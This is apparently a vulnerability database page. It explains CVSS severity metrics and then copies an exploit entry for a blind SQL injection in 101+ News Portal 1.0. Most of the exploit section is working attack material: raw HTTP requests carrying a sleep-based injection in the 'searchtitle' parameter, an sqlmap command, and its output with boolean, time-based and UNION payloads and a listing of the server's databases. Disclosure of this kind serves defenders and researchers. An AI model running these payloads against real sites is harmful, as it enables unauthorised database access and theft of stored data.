The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: 101+ News Portal 1.0 SQL Injection
# Exploit Title: 101+ News Portal - SQLi
# Date: 19/03/2023
# Exploit Author: Abdulhakim ner
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/16067/best-online-news-portal-project-php-free-download.html
# Software Download: https://www.sourcecodester.com/sites/default/files/download/mayuri_k/101news_0.zip
# Version: 1.0
# Tested on: Windows, Linux
## Description
A Blind SQL injection vulnerability in the page (/101news/search.php) in 101+ News Portal allows remote unauthenticated attackers to execute remote arbitrary SQL commands through "searchtitle" parameter.
## Request PoC
```
POST /101news/search.php HTTP/1.1
Host: 192.168.1.101
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Connection: close
Cache-Control: max-age=0
Referer: http://192.168.1.101/101news/
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Cookie: PHPSESSID=o5fslt60dlojncb7jnft04lps9
searchtitle=232943'
```
This request causes an error. Adding "'%2b(select*from(select(sleep(20)))a)%2b'" to the end of "searchtitle" parameter, the response to request was 200 status code with message of OK, but 20 seconds later, which indicates that our sleep 20 command works.
```
POST /101news/search.php HTTP/1.1
Host: 192.168.1.101
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Connection: close
Cache-Control: max-age=0
Referer: http://192.168.1.101/101news/
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Cookie: PHPSESSID=o5fslt60dlojncb7jnft04lps9
searchtitle=232943'%2b(select*from(select(sleep(20)))a)%2b'
```
## Exploit with sqlmap
Save the request from burp to file
```
(rootcaesar)-[/home/kali/Workstation/multi]
# sqlmap -r sqli.txt -p 'searchtitle' --batch --dbs --level=3 --risk=2
---snip---
POST parameter 'searchtitle' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 114 HTTP(s) requests:
---
Parameter: searchtitle (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: searchtitle=232943' AND 3793=(SELECT (CASE WHEN (3793=3793) THEN 3793 ELSE (SELECT 6168 UNION SELECT 2808) END))-- KdPX
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: searchtitle=232943' AND (SELECT 1460 FROM (SELECT(SLEEP(5)))dqHc)-- zMGY
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: searchtitle=232943' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7162787071,0x457444695056617478516b4b4f666e73744162466478444e5061624161514f78726c727777764c6b,0x716a6b6271)-- -
---
[18:01:02] [INFO] the back-end DBMS is MySQL
web application technology: PHP 8.2.0, Apache 2.4.54
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[18:01:02] [INFO] fetching database names
available databases [5]:
[*] information_schema
[*] mysql
[*] newsportal
[*] performance_schema
[*] phpmyadmin
---snip---
```
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